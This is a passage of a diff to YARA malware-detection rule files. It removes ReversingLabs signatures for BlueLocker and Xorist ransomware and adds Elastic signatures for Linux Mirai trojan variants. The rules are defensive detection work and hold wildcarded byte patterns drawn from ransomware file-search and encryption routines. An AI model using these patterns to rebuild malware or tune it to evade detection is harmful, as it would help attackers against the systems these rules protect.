-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($encrypt_folder) and ($rename_files)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Bluelocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_564B8Eda : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects BlueLocker ransomware."
-		author = "ReversingLabs"
-		id = "145ff05e-c90d-598a-a3d5-220bd6df718a"
-		date = "2022-08-04"
-		modified = "2022-08-04"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BlueLocker.yara#L1-L130"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "fbe5f246f4554e63b5da6a0aca169e8221a84fce18fd437ae7ad9b068e9ca576"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "564b8eda-6f0e-45b8-bef6-d61b0f090a36"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L418-L436"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee"
+		logic_hash = "4bf11492f480911629623250146554f2456f3a527f5f80402ef74b22c1460462"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "BlueLocker"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 8B 75 ?? 57
-            8B 7D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 89 55 ?? 89 75 ??
-            89 45 ?? 89 7D ?? FF 15 ?? ?? ?? ?? 8B D8 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 53 FF 15
-            ?? ?? ?? ?? 8B 55 ?? 33 C9 0B C8 89 55 ?? 89 4D ?? 83 FB ?? 75 ?? 0B C3 5F 5E 5B 8B
-            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B
-            F0 FF 15 ?? ?? ?? ?? 33 C9 03 F0 83 C6 ?? 0F 92 C1 F7 D9 0B CE 51 E8 ?? ?? ?? ?? 8B
-            F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF 75 ??
-            56 E8 ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8
-            ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 85 C9 0F 8C ?? ??
-            ?? ?? 8B 45 ?? 0F 8F ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 85 C9 0F 8F ?? ??
-            ?? ?? 7C ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D
-            4D ?? D1 E8 89 45 ?? E8 ?? ?? ?? ?? 0F B6 4F ?? 0F 57 C0 0F B6 47 ?? C1 E1 ?? 0B C8
-        }
-		$encrypt_files_p2 = {
-            66 0F 13 45 ?? 0F B6 47 ?? C1 E1 ?? 0B C8 C7 45 ?? ?? ?? ?? ?? 0F B6 07 C1 E1 ?? 0B
-            C8 C7 45 ?? ?? ?? ?? ?? 0F B6 47 ?? 89 4D ?? 0F B6 4F ?? C1 E1 ?? 0B C8 0F B6 47 ??
-            6A ?? 6A ?? FF 75 ?? C1 E1 ?? FF 75 ?? 0B C8 0F B6 47 ?? 8B 3D ?? ?? ?? ?? C1 E1 ??
-            0B C8 53 89 4D ?? FF D7 33 F6 8D 45 ?? 56 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? FF 75 ?? BA ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 C0 F7 D9 13 C0 6A ?? 6A ?? F7 D8 50 51 53 FF D7 6A
-            ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            8B 45 ?? 03 F0 3B 75 ?? 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 6A ?? 8D
-            45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ??
-            ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 73 ?? 8B 75 ?? 8B CB 57 8B D6 E8 ?? ?? ?? ?? 8B
-            3D ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 75 ?? 8B CB 57 8B D6 E8 ?? ?? ?? ?? 8B 3D
-            ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B6 4F ?? 0F
-        }
-		$encrypt_files_p3 = {
-            57 C0 0F B6 47 ?? C1 E1 ?? 0B C8 66 0F 13 45 ?? 0F B6 47 ?? C1 E1 ?? 0B C8 C7 45 ??
-            ?? ?? ?? ?? 0F B6 07 C1 E1 ?? 0B C8 C7 45 ?? ?? ?? ?? ?? 0F B6 47 ?? 89 4D ?? 0F B6
-            4F ?? C1 E1 ?? 0B C8 0F B6 47 ?? 6A ?? 6A ?? FF 75 ?? C1 E1 ?? FF 75 ?? 0B C8 0F B6
-            47 ?? 8B 3D ?? ?? ?? ?? C1 E1 ?? 0B C8 53 89 4D ?? FF D7 8B 35 ?? ?? ?? ?? 8D 45 ??
-            6A ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D6 85 C0 74 ?? FF 75 ?? BA ?? ?? ?? ??
-            8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 C0 F7 D9 13 C0 6A ?? 6A ?? F7 D8 50 51
-            53 FF D7 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ??
-            81 7D ?? ?? ?? ?? ?? 72 ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D6
-            85 C0 75 ?? 8B 75 ?? 6A ?? 0F 57 C0 6A ?? 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF D7
-            6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 89 55 ?? C7
-            45 ?? ?? ?? ?? ?? 85 D2 74 ?? 8B FA B9 ?? ?? ?? ?? F3 A5 8B 4D ?? 68 ?? ?? ?? ?? 8B
-            01 8B 49 ?? 89 82 ?? ?? ?? ?? 8D 45 ?? 50 52 6A ?? 6A ?? 6A ?? FF 75 ?? 89 8A ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF 15
-            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 EB ?? 83 CE ?? 85 DB 74 ?? 53 FF 15 ??
-            ?? ?? ?? 8B 7D ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 7D ?? 57 E8 ?? ?? ?? ?? 8B
-            4D ?? 83 C4 ?? 8B C6 33 CD 5F 5E 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$find_files_p1 = {
-            FF 74 B4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 46 83
-            FE ?? 7C ?? FF 74 24 ?? FF D7 68 ?? ?? ?? ?? 8B F0 FF D7 03 F0 8D 84 24 ?? ?? ?? ??
-            6A ?? 50 FF D7 8D 0C 06 33 C0 83 C1 ?? 0F 92 C0 F7 D8 0B C1 50 E8 ?? ?? ?? ?? 8B F0
-            83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 74 24 ?? FF D7 48 50 FF 74 24 ?? 56 E8 ?? ?? ??
-            ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 56 E8 ?? ??
-            ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ??
-            83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 8B 7C 24 ?? 83 C4 ?? 83 C7 ?? 57 FF 15 ?? ?? ??
-            ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 85 C9 74 ?? 8B 54 24 ?? C7 01 ?? ?? ??
-            ?? C7 41 ?? ?? ?? ?? ?? 83 7A ?? ?? 75 ?? 89 4A ?? 89 4A ?? 57 89 31 FF 15 ?? ?? ??
-            ?? E9 ?? ?? ?? ?? 8B 42 ?? 89 48 ?? 8B 42 ?? 8B 40 ?? 89 42 ?? 89 30 57 FF 15 ?? ??
-            ?? ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 33 F6 C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 B4 ?? 8D 84 24
-        }
-		$find_files_p2 = {
-            50 FF D3 85 C0 0F 85 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 6A ?? FF 74 24 ?? FF D7 8B F0 8D
-            84 24 ?? ?? ?? ?? 50 FF D7 03 F0 33 C0 83 C6 ?? 0F 92 C0 F7 D8 0B C6 50 E8 ?? ?? ??
-            ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? FF 74 24 ?? FF D7 48 50 FF 74 24 ?? 56 E8
-            ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 56
-            E8 ?? ?? ?? ?? 83 C4 ?? D1 E8 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 56 E8 ?? ?? ?? ?? EB ?? 6A ?? 6A ?? E8 ?? ??
-            ?? ?? 8B D8 83 C4 ?? 85 DB 75 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 EB ?? 57 68 ?? ?? ??
-            ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ??
-            85 C0 74 ?? 8B 54 24 ?? 53 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ??
-            57 E8 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 8B 35 ?? ??
-            ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15
-        }
-		$create_crypt_context = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ??
-            ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 C8 ?? 8B 4D ?? 33 CD E8 ?? ?? ??
-            ?? 8B E5 5D C2 ?? ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
-            ?? 6A ?? 50 FF D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF
-            D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D6 85 C0 75 ??
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 68 ?? ?? ?? ?? 56 6A ??
-            FF 15 ?? ?? ?? ?? 8D 45 ?? 89 35 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D
-            04 45 ?? ?? ?? ?? 50 FF 35 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ??
-            ?? ?? ?? 85 C0 75 ?? 50 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 8B 45 ?? 5E 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ??
-            33 C0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
-        }
+		$a = { 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($create_crypt_context) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Xorist : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_7E9F85Fb : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Xorist ransomware."
-		author = "ReversingLabs"
-		id = "804ae039-fc3b-5f19-860e-df9efe87ee4d"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Xorist.yara#L1-L150"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "c428838cdd103f62508a23c9333b08567625291e110aa437324ecf37c62dca36"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "7e9f85fb-bfc4-4af6-9315-f6e43fefc4ff"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L438-L456"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4333e80fd311b28c948bab7fb3f5efb40adda766f1ea4bed96a8db5fe0d80ea1"
+		logic_hash = "f4ce912e190bc5dcb56541f54ba8e47b6103c482bdc7e83b44693d2c066c0170"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Xorist"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "ef420ec934e3fd07d5c154a727ed5c4689648eb9ccef494056fed1dea7aa5f9c"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$search_and_encrypt_v1_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 0F
-            84 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            2D ?? ?? ?? ?? 50 C6 80 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 58 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? E9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 2D ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 3C ?? 75 ??
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80
-        }
-		$search_and_encrypt_v1_p2 = {
-            3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ??
-            E9 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 0F 83 C7 ?? 51 57 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 03 F8 47 59 83 FB ?? 74 ?? 49 75 ?? E9 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 00 ?? EB ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 85 C0 0F 84 ?? ?? ?? ?? 48 A3 ?? ?? ?? ?? 6A ?? FF
-        }
-		$search_and_encrypt_v1_p3 = {
-            35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 F8 ?? 7D ?? FF 35 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A
-            ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 3D ?? ?? ?? ?? ?? 75 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 10 B9
-            ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? AC 32 C2 D0 C2 AA E2 ?? A1 ?? ?? ?? ?? 80
-            3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ??
-            ?? EB ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? E8 ?? ??
-            ?? ?? C9 C3
-        }
-		$extract_rsrc_v1 = {
-            55 8B EC 83 C4 ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 51 57 0F 31 5F 59 25 ?? ?? ?? ?? C1
-            E8 ?? 83 C0 ?? AA E2 ?? 33 C0 AA 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? 50 6A ?? E8 ??
-            ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? FF 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3
-            89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? 8B D8 6A ?? 6A ?? 6A ?? 6A ??
-            6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 45 ?? 6A ?? 6A
-            ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 53 FF 75 ?? E8 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8
-            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ??
-            C9 C3
-        }
-		$search_and_encrypt_v2_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 0F
-            84 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            2D ?? ?? ?? ?? 50 C6 80 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 58 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? E9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 2D ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 3C
-            ?? 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 53 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8
-            ?? 74 ?? E9 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 0F 83 C7 ?? 51 57 68
-        }
-		$search_and_encrypt_v2_p2 = {
-            E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 03 F8 47 59 83 FB ?? 74 ?? 49 75 ?? E9 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 00 ?? 6A
-            ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 85 C0 0F
-            84 ?? ?? ?? ?? 48 A3 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ??
-            ?? 83 F8 ?? 7D ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ??
-            ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? EB ?? 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8A 10 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? AC 32 C2
-            D0 C2 AA E2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ??
